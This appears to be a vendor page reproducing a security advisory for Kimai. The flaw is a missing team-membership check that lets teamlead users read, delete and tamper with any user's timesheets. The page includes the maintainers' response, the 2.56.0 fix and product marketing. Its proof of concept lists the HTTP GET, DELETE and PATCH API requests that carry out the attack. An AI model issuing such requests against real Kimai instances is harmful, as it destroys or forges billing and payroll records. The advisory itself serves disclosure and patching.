GHSA-9g2q-w3w2-vf7q — kimai/kimai
GHSA-9g2q-w3w2-vf7q is a security vulnerability in kimai/kimai. A fix is available for kimai/kimai — see the affected versions and patch details below.
Kimai has Missing Voter Check that Allows Cross-Team Timesheet Manipulation
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-9g2q-w3w2-vf7q.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
kimai/kimaiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Any ROLE_TEAMLEAD user can enumerate, read, modify, and permanently delete timesheets belonging to any other user in the system — regardless of team membership. This enables data destruction (deleted billable hours), data tampering (forged timesheet durations), and full authorization bypass on timesheet resources. Verified against Kimai 2.52.0.
Details
TimesheetVoter::voteOnAttribute() maps permissions to own_timesheet or other_timesheet without checking team membership. The voter's own comment confirms this is a known gap:
// extend me for "team" support later on
if ($subject->getUser()?->getId() === $user->getId()) {
$permission .= 'own';
} else {
$permission .= 'other';
}
PoC
Tested against Kimai 2.52.0 Docker instance.
Setup:
- User A (usera, ROLE_TEAMLEAD) owns timesheet ID 2 with description "Private timesheet - UserA only"
- User B (userb, ROLE_TEAMLEAD) is NOT on any team with User A
User B reads User A's timesheet data:
GET /api/timesheets/2 HTTP/1.1
X-AUTH-USER: userb
X-AUTH-TOKEN: <userb_api_token>
Response: HTTP 200 — returns full timesheet record including description "Private timesheet - UserA only".
User B deletes User A's timesheet:
DELETE /api/timesheets/3 HTTP/1.1
X-AUTH-USER: userb
X-AUTH-TOKEN: <userb_api_token>
Response: HTTP 204 No Content — timesheet permanently deleted.
User B tampers User A's timesheet:
PATCH /api/timesheets/6 HTTP/1.1
X-AUTH-USER: userb
X-AUTH-TOKEN: <userb_api_token>
Content-Type: application/json
{"begin":"2026-03-24T08:00:00","end":"2026-03-24T18:00:00","project":1,"activity":1,"description":"TAMPERED","exported":false,"billable":false}
Response: HTTP 200 OK — duration inflated from 3600s to 36000s, description overwritten.
Note: ROLE_USER (userc) is correctly blocked — DELETE returns 403 and the actions endpoint returns an empty array. The vulnerability only affects ROLE_TEAMLEAD and above. Timesheet IDs are sequential integers, trivially enumerable.
Impact
Any authenticated user with ROLE_TEAMLEAD or above can:
- Permanently delete timesheets belonging to any user system-wide — destroying billable hours, payroll data, and project billing history
- Silently alter timesheet descriptions, hours, and billing flags — forging hours up or down, directly affecting invoicing and payroll
- Enumerate all timesheet IDs (sequential integers) and access action metadata for arbitrary records
No user interaction required. ROLE_USER accounts are correctly restricted; the vulnerability is specific to ROLE_TEAMLEAD receiving global scope instead of team-scoped access.
Maintainers answer: why this is not eligible for a CVE
The behavior described matches the documented permission model. Per the Kimai documentation, the relevant permissions granted to ROLE_TEAMLEAD are:
edit_other_timesheet— Edit existing records of other usersdelete_other_timesheet— Delete existing records of other users
These permissions were global by design, not team-scoped. The UI surfaces only the teamlead's own team timesheets, but the API has historically honored these permissions as documented: a role holding *_other_timesheet can act on any other user's timesheet. The inline comment // extend me for "team" support later on reflects this accurately — team-scoped enforcement was a planned enhancement, not a security control that existed and failed.
The report frames this as authorization bypass, but no authorization boundary is being crossed: ROLE_TEAMLEAD is operating within its documented permissions.
Kimai acknowledges that this behavior might not be expected, so while it will be treated as a feature request for team-scoped permission enforcement and not a vulnerability, it still track it as having security implications.
Solution
Team-scoped timesheet permission checks were added in 2.56.0.
Operators of Kimai <= 2.55 who need stricter isolation between teamleads should not grant ROLE_TEAMLEAD to users who must not act on other teams' timesheets.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | kimai/kimai | all versions | 2.56.0composer require kimai/kimai:^2.56.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for kimai/kimai, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update kimai/kimai to 2.56.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-9g2q-w3w2-vf7q is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-9g2q-w3w2-vf7q can be triaged on real exposure rather than presence alone.
Tailored to GHSA-9g2q-w3w2-vf7q. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-9g2q-w3w2-vf7q in your dependencies?
O3 Security finds GHSA-9g2q-w3w2-vf7q across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.